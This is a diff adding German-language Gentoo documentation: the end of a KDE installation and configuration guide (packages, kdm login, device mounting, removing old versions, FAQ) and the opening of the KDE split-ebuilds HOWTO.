+  <th>Paket</th>
+  <th>Beschreibung</th>
+</tr>
+<tr>
+  <ti>kdeaccessibility</ti>
+  <ti>
+    Zugangsprogramme, die vom <uri link="http://accessibility.kde.org">KDE
+    Accessibility Projekt</uri> verwaltet werden.
+  </ti>
+</tr>
+<tr>
+  <ti>kdeadmin</ti>
+  <ti>
+    KDE Administrations-Tools, wie z.B. <c>KCron</c> (Programmplanung),
+    <c>KUser</c> (Benutzerverwaltung) und <c>KDat</c> (Backupmanager).
+  </ti>
+</tr>
+<tr>
+  <ti>kdeartwork</ti>
+  <ti>
+    Allerlei graphisches Zeugs, z.B. Bildschirmschoner und Themes. Sehen Sie
+    sich dazu auch <uri
+    link="http://www.kde-artists.org/">www.kde-artists.org</uri> für weitere
+    KDE-bezogene Artwork an.
+  </ti>
+</tr>
+<tr>
+  <ti>kdeedu</ti>
+  <ti>
+    Ausbildungsbezogene KDE-Programme für Schulkinder im Alter von 3 bis 18
+    Jahren. Sehen Sie sich dazu auch das <uri link="http://edu.kde.org">KDE Edu
+    Projekt an</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdegames</ti>
+  <ti>
+    Verschiedene KDE Spiele. Mehr Informationen gibt es im <uri
+    link="http://games.kde.org">KDE Games Center</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdegraphics</ti>
+  <ti>
+    Grafische Tools für KDE, z.B. <c>KSnapshot</c> (Screenshot
+    Software), <c>KolourPaint</c> (Einfacher Grafikeditor), <c>Kpdf</c>
+    (PDF-Viewer), <c>KIconEdit</c> (Iconeditor) und <c>KPovModeler</c> (ein 3D
+    Modelierprogramm).
+  </ti>
+</tr>
+<tr>
+  <ti>kdemultimedia</ti>
+  <ti>
+    Multimediabezogene Programme. Diese beinhalten unterstützung für CD, MP3,
+    DVD, Sound und Video. Mehr Infos findet man auf der <uri
+    link="http://multimedia.kde.org">KDE Multimedia Projekt</uri> Webseite.
+  </ti>
+</tr>
+<tr>
+  <ti>kdenetwork</ti>
+  <ti>
+    Netzwerkbezogene Programme wie <c>Kopete</c> (Multi-Protokoll Chatprogramm)
+    und <c>kppp</c> (Dial-In) and <c>KSirc</c> (IRC-Client). Beachten Sie, dass
+    <c>konqueror</c> (File Manager <e>und</e> Browser) ein Teil von
+    <c>kdebase</c> ist!
+  </ti>
+</tr>
+<tr>
+  <ti>kdepim</ti>
+  <ti>
+    Persönliche Informations- und Verwaltungstools, wie <c>KOrganizer</c>
+    (Journal), <c>KAddressbook</c> (Adressbuch), <c>Kontact</c> (Groupware) und
+    <c>KMail</c> (E-mail). Mehr Infos findet man online auf der <uri
+    link="http://pim.kde.org">KDE PIM Projekt</uri> Webseite.
+  </ti>
+</tr>
+<tr>
+  <ti>kdesdk</ti>
+  <ti>
+    Codeentwicklungstools, wie <c>KBabel</c> (Übersetzungstool),
+    <c>KBugBuster</c> (Frontend zur KDE Bugaufzeichnung) und <c>Kompare</c> (GUI
+zum
+    Vergleichen von Dateien).
+  </ti>
+</tr>
+<tr>
+  <ti>kdetoys</ti>
+  <ti>
+    Verschiedene Spielzeuge die Sie amüsieren sollen, wenn Sie zum Beispiel auf
+    eine Pizza warten. Sie finden hier Applets wie <c>eyesapplet</c> und
+    <c>fifteenapplet</c>, aber auch smarte Programme wie <c>amor</c>, welche
+    eigentlich nur Ressourcen fressen :)
+  </ti>
+</tr>
+<tr>
+  <ti>kdeutils</ti>
+  <ti>
+    Grafische Systemtools wie zum Beispiel <c>kcalc</c> (Taschenrechner),
+    <c>kdessh</c> (SSH Terminal), <c>kfloppy</c> (Programm für Disketten), etc.
+  </ti>
+</tr>
+<tr>
+  <ti>kde-i18n</ti>
+  <ti>
+    Internationalisierungsbezogene Dateien für KDE. Diese beinhalten übersetzte
+    Dokumente. Weitere Informationen finden Sie unter <uri
+    link="http://i18n.kde.org">Das KDE i18n Projekt</uri>.
+  </ti>
+</tr>
+</table>
+
+<p>
+Für den Fall, dass Sie KDE zum Beispiel nur mit den Netzwerk- und
+Administrationsbezogenen Programmen installieren wollen:
+</p>
+
+<pre caption="Beispiel zur Installation von speziellen Paketen">
+# <i>emerge kdebase kdenetwork kdeadmin</i>
+</pre>
+
+<p>
+Wenn Sie längere Spaziergänge an der frischen Luft mögen wäre jetzt ein guter
+Zeitpunkt für einen: Die Kompilierung von KDE dauert eine Weile.
+</p>
+
+</body>
+</section>
+<section>
+<title>Externe KDE-Anwendungen</title>
+<body>
+
+<p>
+Die Anzahl der KDE-Anwendungen ist nicht auf die der offiziellen KDE-Releases
+beschränkt sondern beinhalten hunderte von anderen Applikationen, welche
+ebenfalls auf das KDE-Framework und die KDE-Bibliotheken aufbauen. Hier listen
+wir Ihnen ein paar der bekanntesten auf.
+</p>
+
+<table>
+<tr>
+  <th>Name des Ebuilds</th>
+  <th>Beschreibung</th>
+</tr>
+<tr>
+  <ti><c>koffice</c></ti>
+  <ti>
+    <uri link="http://www.koffice.org/">KOffice</uri> ist ein umfangreiches
+    Büroprogramm mit Anwendungsbereichen wie Textverarbeitung (KWord),
+    Tabellenkalkulation (KSpread), Präsentationen (KPresenter), Bildbearbeitung
+    (Krita), Datenbankmanagement (Kexi) und vielem mehr. Genau so wie KDE
+    entweder über <c>kde</c> oder <c>kde-meta</c> installiert werden kann, kann
+    auch KOffice als gesamtes Paket (<c>koffice</c>) oder einzelne Pakete
+    (<c>koffice-meta</c>) installiert werden.
+  </ti>
+</tr>
+<tr>
+  <ti><c>amarok</c></ti>
+  <ti>
+    Mit <uri link="http://amarok.kde.org/">amaroK</uri> haben Sie einen
+    mächtigen Musikplayer für Unix/Linux.
+  </ti>
+</tr>
+<tr>
+  <ti><c>k3b</c></ti>
+  <ti>
+    <uri link="http://www.k3b.org/">K3B</uri> ist ein komplettes CD- und
+    DVD-Brennprogramm mit Audio-Unterstützung. CD-Brennen war noch nie so
+    einfach.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kaffeine</c></ti>
+  <ti>
+    <uri link="http://kaffeine.sourceforge.net/">Kaffeine</uri> ist ein komplett
+    ausgestatteter Multimedia-Player für KDE.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Die ersten Eindrücke</title>
+<body>
+
+<p>
+Sehen wir uns also das Ergebnis mal an! Sie haben von Ihrer Mutter sicher schon
+oft "Arbeite NIE als Root" gehört. Da wir brave Kinder sind, die auf ihre Mutter
+hören, testen wir KDE als einfacher Benutzer. Melden Sie sich also mit Ihrem
+Benutzernamen an und konfigurieren Sie die Session so, das KDE gestartet wird,
+wenn Sie <c>startx</c> eingeben. Sie können dies tun, indem Sie <c>exec
+startkde</c> in <path>~/.xinitrc</path> hinzufügen (Infos dazu unter <uri
+link="/doc/de/xorg-config.xml#using_startx">Verwenden von startx</uri> im <uri
+link="/doc/de/xorg-config.xml">X-Server Konfigurations HOWTO</uri>):
+</p>
+
+<pre caption="Konfigurieren der lokalen Session">
+$ <i>echo "exec startkde" &gt; ~/.xinitrc</i>
+</pre>
+
+<p>
+Nun starten wir die grafische Umgebung indem wir <c>startx</c> eintippen.
+</p>
+
+<pre caption="Starten von KDE">
+$ <i>startx</i>
+</pre>
+
+<p>
+Sie werden nun mit einem Programm, genannt <c>KPersonalizer</c>, begrüßt.
+Gratulation, werfen wir nun einen Blick auf die Konfiguration von KDE ...
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Konfiguration von KDE</title>
+<section>
+<title>KPersonalizer</title>
+<body>
+
+<p>
+KPersonalizer ist ein Programm das KDE für Sie konfiguriert. Es ist eine große
+Hilfe KDE sehr schnell an seine persönlichen Bedürfnisse anzupassen. Wenn man
+KDE das erste Mal startet, wird KPersonalizer ebenfalls gestartet.
+</p>
+
+<p>
+Das Erste, was KPersonalizer wissen will ist Ihr Land und Ihre Sprache.
+Da wir die entsprechenden Sprachpakete noch nicht installiert haben, wird noch
+nicht sehr viel zur Auswahl stehen - wahrscheinlich werden Sie Englisch wählen
+müssen. Aber keine Angst: wir werden die Sprache später noch ändern!
+</p>
+
+<p>
+Die zweite Auswahl fragt Sie nach dem <e>Systemverhalten</e>. Dies beinhaltet
+Fensteraussehen, Mausauswahl, usw. Wenn man ein Verhalten auswählt, wird die
+Beschreibung dazu angezeigt, damit man besser bestimmen kann, welches man will.
+Wenn Sie sich nicht sicher sind, brauchen Sie nicht in Panik geraten -- man kann
+dies später jederzeit ändern.
+</p>
+
+<p>
+Als nächstes fragt KPersonalizer nach den Effekten. Je mehr Effekte man
+einstellt, desto "cooler" wird KDE, was jedoch auch bedeutet, dass die CPU mehr
+belastet wird. Auf einem 600 MHz Rechner mit 128 MB RAM alle Effekte zu
+aktivieren bedeutet also, dass der Computer ziemlich träge werden kann...
+</p>
+
+<p>
+Zum Schluss werden Sie noch nach dem Stil gefragt. Ein Stil definiert die
+Fensterdekoration, Themen, Knöpfe, usw. Probieren Sie einfach die Stile durch,
+damit
+Sie sehen, welcher Ihnen am Besten gefällt. Haben wir bereits erwähnt, dass KDE
+voll konfigurierbar ist?
+</p>
+
+<p>
+Und nun lehnen Sie sich zurück und genießen -- KDE startet nun und Sie werden
+durch eine
+nette, saubere, funktionierende Desktopumgebung begrüßt!
+</p>
+
+</body>
+</section>
+<section>
+<title>Installation von Sprachpaketen</title>
+<body>
+
+<p>
+Wenn Englisch nicht Ihre Muttersprache ist und Sie KDE gerne in einer anderen
+Sprache hätten, lesen Sie hier weiter. Wir werden nun die Sprachpakete für die
+Sprache installieren, die Sie nutzen wollen.
+</p>
+
+<p>
+Sprachpakete sind im <c>kde-i18n</c> Paket enthalten. Um das Sprachpaket Ihrer
+Wahl zu installieren, müssen Sie die <c>LINGUAS</c> Variable entsprechend
+setzen. Es ist empfehlenswert dies in <path>/etc/make.conf</path> zu tun,
+damit ein Systemupdate das Sprachpaket dann nicht löscht.
+</p>
+
+<pre caption="Einstellen von LINGUAS in /etc/make.conf">
+# <i>nano -w /etc/make.conf</i>
+<comment>(Als Beispiel installieren wir das Sprachpaket für
+Deutsch (de))</comment>
+LINGUAS="de"
+</pre>
+
+<p>
+Nun brauchen Sie nur noch <c>emerge kde-i18n</c> zu starten und das Sprachpaket
+wird installiert. Wenn dies fertig ist, starten Sie KDE und dann das KDE -
+Kontrollzentrum (K-Menü &gt; Control Center). Das ist <e>das</e>
+Programm, in dem man fast alles von KDE einstellen kann. Es ist viel
+umfangreicher wie KPersonalizer.
+</p>
+
+<p>
+Um die Sprache zu ändern gehen Sie nach <c>Regional &amp; Accessibility</c>,
+<c>Country/Region &amp; Languages</c>. Dann fügen Sie einfach die Sprache Ihrer
+Wahl hinzu. Nun können Sie KDE in ihrem vollen Glanz betrachten: Melden Sie sich
+ab,
+wieder an und genießen Sie...
+</p>
+
+</body>
+</section>
+<section>
+<title>Grafischer Login</title>
+<body>
+
+<p>
+Wenn Sie <c>kdm</c> als grafischen Anmeldungsmanager (dies bedeutet, dass Sie
+sich nicht zuerst über die Konsole anmelden müssen, um dann dort <c>startx</c>
+zu tippen) verwenden möchten, müssen Sie zuerst eine Konfigurationsdatei
+anpassen und Ihr System so konfigurieren, dass es nach dem Boot die grafische
+Benutzeroberfläche startet. Wie dies geht wird hier beschrieben:
+</p>
+
+<note>
+Aus verschiedenen Gründen ist es möglich, dass Sie <c>kdm</c> bereits
+installiert haben. Falls Sie einen Fehler bekommen und Pakete
+<c>kde-base/kdm</c> blocken, fahren Sie mit dem nächsten Abschnitt fort.
+</note>
+
+<pre caption="kdm installieren">
+# <i>emerge --ask kdm</i>
+</pre>
+
+<p>
+In <path>/etc/conf.d/xdm</path> müssen Sie die <c>DISPLAYMANAGER</c>-Variable
+mit <c>kdm</c> setzen.
+</p>
+
+<pre caption="Einstellen des DISPLAYMANAGERs in /etc/conf.d/xdm">
+# <i>nano -w /etc/conf.d/xdm</i>
+<comment>(Bearbeiten Sie folgende Variable)</comment>
+DISPLAYMANAGER="kdm"
+</pre>
+
+<p>
+Zum Schluss fügen wir nun <c>xdm</c> zum standardmäßigen Runlevel hinzu:
+</p>
+
+<pre caption="Hinzufügen von xdm zum standardmäßigen Runlevel">
+# <i>rc-update add xdm default</i>
+</pre>
+
+<p>
+Wenn Sie nun den Computer neustarten, wird er KDM als grafischen Anmeldemanager
+verwenden.
+</p>
+
+<p>
+KDM wird Ihnen eine Liste der verfügbaren Sessions anbieten, unter anderem auch
+- klarerweise - KDE. KDM listet alle auf dem System installierten Sessions auf,
+die in <path>/usr/share/xsessions/</path> zu finden sind. Wenn Sie KDM verwenden
+ist es nicht notwendig die <path>~/.xinitrc</path> zu editieren.
+</p>
+
+</body>
+</section>
+<section id="kde_device_mounting">
+<title>Geräte von KDE mounten lassen</title>
+<body>
+
+<!-- TODO: add pmount package when pmount is in arch.
+    Also add pmount to the default runlevel -->
+
+<p>
+KDE bietet die Möglichkeit, dass Sie Geräte (CDROM, USB-Stick, ...) mit einem
+einzigen Klick mounten können. Um dies zu gewährleisten müssen Sie KDE jedoch
+mit der <c>hal</c> USE-Flag kompiliert und die Programme <c>dbus</c> und
+<c>hal</c> installiert haben. Sie sollten auch <c>dbus</c> und <c>hal</c> zu
+Ihrem default Runlevel und sich selbst in die <c>plugdev</c>-Gruppe hinzufügen.
+</p>
+
+<pre caption="Installation um Geräte zu mounten">
+# <i>emerge --ask dbus hal</i>
+# <i>rc-update add dbus default</i>
+# <i>rc-update add hald default</i>
+<comment>Füge &lt;user&gt; zur plugdev-Gruppe hinzu</comment>
+# <i>gpasswd -a &lt;user&gt; plugdev</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Die KDE-Installation verwalten</title>
+<section>
+<title>Mehrfache Installationen</title>
+<body>
+
+<p>
+Eine Besonderheit wie KDE in Gentoo verwaltet wird ist die, was passiert wenn
+eine neue Serie von KDE erscheint (zum Beispiel die 3.5.x-Serie welche die
+3.4.x-Serie ersetzt). Gentoo installiert dann die neue Version, behält die alte
+aber bei. Das bedeutet folgendes: Wenn Sie bereits KDE 3.4 installiert haben und
+jetzt KDE 3.5 installieren, haben Sie zwei Versionen. Einmal in
+<path>/usr/kde/3.4/</path> und einmal in <path>/usr/kde/3.5/</path>.
+</p>
+
+<p>
+Es ist auch wichtig, dass die Konfigurationsdateien auch separat in Ihrem
+Home-Verzeichnis gespeichert werden. KDE 3.4 liest die Konfiguration aus
+<path>/home/&lt;user&gt;/.kde3.4</path>. Wenn Sie nun KDE 3.5 das erste Mal
+starten, wird das Verzeichnis <path>/home/&lt;user&gt;/.kde3.5</path> angelegt,
+in welches die Konfigurationen aus dem 3.4'er Verzeichnis übernommen werden. Für
+KDE 3.5 wird dann forthin das 3.5'er Verzeichnis verwendet, um Daten und
+Einstellungen zu speichern.
+</p>
+
+<p>
+Ein weiteres Problem das nicht außer Acht gelassen werden sollte, wenn Sie ein
+KDE-Update durchführen, sind die externen KDE-Programme die Sie installiert
+haben (zum Beispiel <c>koffice</c>, <c>amarok</c> oder <c>k3b</c>). Es ist
+wichtig, dass Sie diese Programme in Ihrer neuen KDE-Version erneut kompilieren
+damit die Links in die neuen Bibliotheken stimmen.
+</p>
+
+</body>
+</section>
+<section>
+<title>Unmergen von älteren Versionen</title>
+<body>
+
+<p>
+Mehrere Installationen von KDE werfen das Problem auf, wie man die älteren
+Versionen deinstallieren kann, wenn man sich sicher ist, dass man sie nicht mehr
+benötigt. Traurigerweise unterstützt Portage das Unmergen von Paketen mit all
+ihren Abhängigkeiten nicht mit einem Befehl. <c>emerge --unmerge kde</c> hat
+also nicht zur Folge, dass alle KDE-Pakete deinstalliert werden.
+</p>
+
+<p>
+Um eine KDE-Installation (zum Beispiel KDE 3.4) zu entfernen, müssen Sie jedes
+einzelne Paket entfernen.
+</p>
+
+<pre caption="Entfernen von KDE 3.4 Paketen">
+# <i>emerge --unmerge =arts-3.4* =kdelibs-3.4* =kdebase-3.4* ...</i>
+</pre>
+
+<p>
+Klarerweise ist diese Methode ziemlich frustrierend wenn Sie viele KDE-Pakete
+installiert haben. Diese Operation kann mit vielen verschiedenen Methoden
+automatisiert werden. Die folgende ist nur ein Beispiel dafür.
+</p>
+
+<p>
+Zuerst listen Sie alle Pakete auf, die Sie entfernen wollen. Dazu verwenden Sie
+den <c>equery</c> Befehl, der ein Teil vom <c>app-portage/gentoolkit</c>-Paket
+ist.
+</p>
+
+<pre caption="Pakete zum Entfernen anzeigen">
+<comment>(Listet alle installierten KDE-Pakete auf)</comment>
+# <i>equery list kde-base/</i>
+<comment>(Listet alle installierten KDE-Pakete auf und zeigt nur die von KDE 3.4
+an)</comment>
+# <i>equery list kde-base/ | grep 3.4</i>
+</pre>
+
+<p>
+An dieser Stelle sollten Sie noch eimal überprüfen, ob die Liste mit den
+Paketen, die Sie deinstalliern möchten übereinstimmt. Wenn dies der Fall ist
+können Sie die Liste dem <c>emerge --unmerge</c> Befehl übergeben.
+</p>
+
+<pre caption="Entfernen der ausgewählten Pakete">
+# <i>equery list kde-base/ | grep 3.4 | xargs emerge --unmerge --pretend</i>
+</pre>
+
+<p>
+Überprüfen Sie die Ausgabe nochmal und starten Sie danach den
+Deinstallationsprozess indem Sie den Befehl ohne <c>--pretend</c> wiederholen.
+</p>
+
+<p>
+Nach dem dieser Befehl abgearbeitet ist, sollte das Verzeichnis
+<path>/usr/kde/3.4/</path> nur noch ein paar Dateien enthalten (hauptsächlich
+Konfigurationsdateien; Portage hat die Eigenschaft, dass es diese Dateien
+niemals berührt). Wenn Sie wollen, können Sie das Verzeichnis
+<path>/usr/kde/3.4/</path> komplett löschen, um sämtliche Überreste von KDE 3.4
+zu vernichten.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Häufig gestellte Fragen</title>
+<section>
+<title>KDE ist beim Starten extrem langsam</title>
+<body>
+
+<p>
+Kontrollieren Sie, ob Ihr <path>/etc/hosts</path> File korrekt ist:
+</p>
+
+<ul>
+  <li>
+    Wenn Sie eine statische IP haben, muss diese, Ihre Domain und Ihr Hostname
+    hier hinein geschrieben werden. Beispiel: <c>192.168.0.10 tux.mydomain
+tux</c>
+  </li>
+  <li>
+    Wenn Sie eine dynamische IP oder gar kein Netzwerk haben, fügen Sie Ihren
+    Hostname hinter dem Localhost ein. Beispiel: <c>127.0.0.1 localhost tux</c>
+  </li>
+</ul>
+
+<p>
+Überprüfen Sie, ob Sie DMA für Ihre Festplatte aktiviert haben:
+</p>
+
+<pre caption="Überprüfen der DMA-Einstellungen">
+# <i>hdparm /dev/hda</i>
+<comment>(...)</comment>
+using_dma       = 1 (on)
+<comment>(...)</comment>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/de/desktop/kde/kde-split-ebuilds.xml b/xml/htdocs/proj/de/desktop/kde/kde-split-ebuilds.xml
new file mode 100644
index 00000000..9b29cc2f
--- /dev/null
+++ b/xml/htdocs/proj/de/desktop/kde/kde-split-ebuilds.xml
@@ -0,0 +1,512 @@
+<?xml version='1.0' encoding='UTF-8'?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/de/desktop/kde/kde-split-ebuilds.xml,v 1.3 2009/04/13 17:29:34 micm Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide lang="de">
+
+<title>Das KDE Split Ebuilds HOWTO</title>
+
+<author title="Autor">
+  <mail link="danarmak@gentoo.org">Dan Armak</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="greg_g@gentoo.org">Gregorio Guidi</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="philantrop@gentoo.org">Wulf C. Krueger</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="mbuerger@edu.uni-klu.ac.at">Martin Bürger</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="keytoaster@gentoo.org">Tobias Heinlein</mail>
+</author>
+
+<abstract>
+Mit KDE 3.4 wurden die 'split' Ebuilds in Portage eingeführt. Diese Seite
+erläutert den Grund für diesen Wechsel, die neuen Eigenschaften und den Weg für
+eine Aktualisierung von den altbewährten 'monolithischen' Ebuilds.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.13</version>
+<date>2008-11-22</date>
+
+<chapter>
+<title>Die KDE 'split' Ebuilds</title>
+<section>
+<title>Was sie ausmacht</title>
+<body>
+
+<p>
+Bis Januar 2005 waren die monolithischen Ebuilds die einzigen KDE-Ebuilds in
+Portage. Dazu ist zu sagen, dass es damals nur 15 Ebuilds (<c>kdebase</c>,
+<c>kdenetwork</c>, ...) gab und jedes einzelne installierte viele Anwendungen,
+die aber selbst nicht voneinander abhängig waren. Das war offensichtlich eine
+suboptimale Situation und nicht besonders Gentoo-isch, aber es wurde für eine
+lange Zeit toleriert.
+</p>
+
+<p>
+Die neuen 'split' Ebuilds (für <c>Konqueror</c>, <c>Kmail</c>, ...) verbesserten
+die Situation, indem sie separate Ebuilds für alle separaten KDE Anwendungen
+boten. Das gab uns eine Summe von etwa 330 neuen Ebuilds in der kde-base
+Kategorie.
+</p>
+
+<p>
+Wir bieten noch immer die monotlithischen Ebuilds für KDE 3.5 (bis 3.5.9) an,
+und sie bieten alles, was auch die 'split' Ebuilds bieten. Jedoch sind die
+'split' Ebuilds nun der neue Standard, und nach KDE 3.5.9 wird es keine
+monolithischen Ebuilds mehr geben.
+</p>
+
+<p>
+Schließlich sollte noch erwähnt werden, dass es auch 'split' Ebuilds für
+KOffice gibt. Diese stellen <c>kword</c>, <c>kugar</c>, usw. als separate
+Pakete zur Verfügung.
+</p>
+
+</body>
+</section>
+<section>
+<title>Wie installieren Sie die 'split' Ebuilds</title>
+<body>
+
+<p>
+Die aktuellste stabile KDE Version, zum Zeitpunkt der Erstellung dieses
+Dokuments, ist 3.5.9. Die aktuellste unstabile (~arch) Version ist 3.5.10.
+Sowohl die 'split' als auch die monolithischen Ebuilds sind dafür in Portage
+vorhanden. Das aktuellste 4.1.x Release ist auch im Portage-Baum vorhanden.
+</p>
+
+<ul>
+  <li>
+    Um ein spezielles Paket wie kmail zu installieren, reicht es, <c>emerge
+    kmail</c> einzugeben.
+  </li>
+  <li>
+    Um die KDE Basisumgebung, die es Ihnen erlaubt sich in eine minmale KDE
+    Sitzung einzuloggen, zu installieren, <c>emerge kdebase-startkde</c>.
+  </li>
+  <li>
+    Um schließlich das exakte Äquivalent eines der monolithischen Pakete zu
+    installieren - zum Beispiel um alle Anwendungen, die in <c>kdebase</c>
+    enthalten sind mit den 'split' Ebuilds zu installieren - können Sie
+    <c>emerge kdebase-meta</c> (oder <c>kdepim-meta</c>, usw.) ausführen.
+    Um absolut alle KDE 'split' Ebuilds zu installieren, verwenden Sie
+    <c>emerge kde-meta</c>.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Wie aktualisieren Sie von monolithischen auf 'split' Ebuilds</title>
+<body>
+
+<p>
+Wenn Sie die KDE 3.4.x oder 3.5.x monolithischen Ebuilds installiert haben,
+müssen Sie sie zuerst deinstallieren bevor Sie die 'split' Ebuilds installieren
+können. Dieser Vorgang kann für jedes monolithische Ebuild wiederholt werden;
+Sie müssen nicht alles von KDE auf einmal deinstallieren.
+</p>
+
+<p>
+Wenn Sie sich nicht sicher sind, seien Sie sich bewußt, dass es blockierende
+Abhängigkeiten zwischen den monolithischen und 'split' Ebuilds gibt. Portage
+wird es Ihnen nicht erlauben, einen ungültigen Zustand zu erstellen, also
+ist jede Installation oder Deinstallation, die erlaubt wird, OK.
+</p>
+
+</body>
+</section>
+<section>
+<title>Vorteile der 'split' Ebuilds</title>
+<body>
+
+<p>
+Hier ist eine kurze Liste, mit dem, was wir beim Wechsel zu den 'split' Ebuilds
+gewinnen:
+</p>
+
+<ul>
+  <li>
+    An den meisten KDE Paketen werden zwischen kleinen KDE Releases keine
+    Änderungen vorgenommen. Zum Beispiel die Aktualisierung von 3.3.1 zu 3.3.2
+    änderte weniger als 100 von 320 Paketen. Die nun aufgespaltenen Pakete
+    erlauben es uns, nur neue Ebuilds für die Pakete zu erstellen, die auch
+    wirklich verändert wurden, was somit 2/3 (in diesem Beispiel) an
+    Kompilierungszeit einspart.
+  </li>
+  <li>
+    Patches betreffen für gewöhnlich ausgewählte Pakete. Mit den 'split'
+    Ebuilds können diese schneller getestet, genehmigt und aufgenommen werden,
+    und die Entwickler haben weniger zu tun; und, wie oben, der Benutzer muss
+    weniger Zeit mit der Aktualisierung verbringen. Das ist im speziellen auch
+    für Sicherheits-Updates relevant.
+  </li>
+  <li>
+    Benutzer von anderen Desktopumgebungen und schlankeren Fenstermanagern
+    können einige beliebte KDE Anwendungen - ohne den (ziemlich
+    großen) überflüssigen Rest, wie <c>kdebase</c> oder
+    <c>kdepim</c> - installieren.
+  </li>
+  <li>
+    Benutzer können installierte Pakete noch weiter nach Ihren Bedürfnissen
+    anpassen. Gründe für dies:
+    <ul>
+      <li>
+        Sie interessieren sich für die Kompilierungszeit. <c>emerge kdebase
+        kdepim kdenetwork</c> benötigt viel zu viel Zeit, wenn Sie nur
+        <c>konqueror</c>, <c>kmail</c> und <c>kopete</c> installieren möchten.
+        Nebenbei, CPU Zeit ist Geld... mancherorts.
+      </li>
+      <li>
+        Sie interessieren sich für den Festplattenverbrauch. Jedes unbenötigte
+        Paket benötigt Platz auf Ihrer Festplatte.
+      </li>
+      <li>
+        Sie interessieren sich für die Systemsicherheit. Die gesamte
+        installierte Software ist eine potentielle Quelle für
+        verwundbare/angreifbare Stellen, und es gibt keine Entschuldigung für
+        unbenötigte Software, die nur so herumliegt.
+      </li>
+      <li>
+        Sie folgen treu dem <uri link="/main/en/philosophy.xml">Gentoo
+        Weg</uri>, und mögen keine gebündelten, dem Benutzer aufgezwungenen
+        Pakete. (Mögen auch wir nicht.)
+      </li>
+    </ul>
+  </li>
+  <li>
+    Schließlich bieten die 'split' Ebuilds auch mehr Flexibilität gegenüber USE
+    Flags während der Installation von Paketen.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Interoperabilität von 'split' und monolithischen Ebuilds</title>
+<body>
+
+<p>
+'Split' und monotlithische Ebuilds können miteinander frei vermischt werden.
+Die einzige Einschränkung ist die, dass monolithische Ebuilds nicht installiert
+werden können, wenn es bereits ein installiertes 'split' Ebuild gibt, das vom
+monolithischem abgeleitet werden kann. Es gibt in den Ebuilds blockierende
+Abhängigkeiten, die das erzwingen, somit können Sie alles tun, was Ihnen emerge
+erlaubt.
+</p>
+
+<p>
+Jedoch gibt es für gewöhnlich keinen Grund eine gemischte Konfiguration zu
+verwenden. In der Tat, ausgenommen von wenigen speziellen Fällen wie sehr
+langsamen Maschinen (MIPS), sollten Sie für Ihren Gebrauch die 'split' Ebuilds
+verwenden.
+</p>
+
+<p>
+Die 'split' Ebuilds sind auch die Standard Ebuilds. Das bedeutet, dass wenn
+eine andere Anwendung von KDE Anwendungen abhängig ist, wird es die 'split'
+Ebuilds installieren wollen. Jedoch wird das passende monolithische Ebuild
+auch die Abhängigkeit erfüllen, somit können Sie auch das monolithische
+Ebuild manuell installieren und dann das davon abhängige Ebuild installieren.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Performanzüberlegungen</title>
+<section>
+<title>Warum sind 'split' Ebuilds langsam</title>
+<body>
+
+<p>
+Es wurde bereits <uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=11123">gesagt</uri>, dass die
+'split' Ebuilds viel mehr Zeit für die Installation benötigen werden als die
+monotlischen, wegen dem Mehr an Entpacken und Konfigurieren für jedes Paket.
+Ein vollständiges <c>emerge kde-meta</c> könnte 20-30% länger dauern als
+ein klassisches <c>emerge kde</c>, unakzeptabel in einem bereits langen
+Kompiliervorgang.
+</p>
+
+<p>
+Darüberhinaus wird zurzeit bei den 'split' Ebuilds jedesmal <c>make -f
+admin/Makefile.cvs</c> ausgeführt (das bedeutet autoconf, automake u.s.w. und
+weitere KDE-spezifische Skripte werden ausgeführt). Das verlangsamt den Prozess
+um dieselbe Größe wie ein Konfigurationslauf.
+</p>
+
+<p>
+Schließlich muss ein 'split' Ebuild bestimmte Dateien aus einem großen Tarball
+extrahieren. Das ist aber langsamer als einen passenden kleinen Tarball zu
+entpacken. Leider ist das Erstellen von solch kleinen Tarballs für das
+autotools-basierende System von KDE 3.x schwierig.
+</p>
+
+<p>
+Es ist gut, nochmals hier zu erwähnen, dass mit den 'split' Ebuilds die
+Kompilierungszeit einer KDE Aktualisierung stark reduziert werden kann, indem
+man nur jene Pakete aktualisiert, die auch verändert wurden. Der Vorteil von
+solch einem einzelnen Update überschattet oft die überflüssigen Vorgänge
+während der ursprünglichen Installation.
+</p>
+
+<p>
+Schließlich macht auch die Installation von allen KDE Paketen Sinn, wenn Sie
+die verfügbaren Pakete kennenlernen oder eine Mehrbenutzerumgebung aufsetzen
+möchten; jedoch verwenden die meisten Leute nur einige der 300+ verfügbaren KDE
+Anwendungen. Jeder, der sich für die Kompilierungszeit interessiert, wie
+Benutzer von älteren PCs, kann durch selektives Installieren von Paketen mehr
+Zeit gewinnen als verloren gehen würde durch die Installation aller Pakete.
+</p>
+
+</body>
+</section>
+<section>
+<title>Wie 'split' Ebuilds schneller gemacht werden</title>
+<body>
+
+<p>
+Die meisten oder sogar alle Performanzprobleme der 'split' Ebuilds sind auf
+autotools - autoconf, automake und andere Tools, die für das
+<c>./configure;make;make install</c> Installationsystem von KDE 3.x
+verantwortlich sind, zurückzuführen.
+</p>
+
+<p>
+KDE 4 hat ein ganz neues System zur Installation, cmake, aufgenommen, welches
+unter anderem die Zeit vom alten <c>make -f admin/Makefile.common;
+./configure</c> weit unterbietet.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
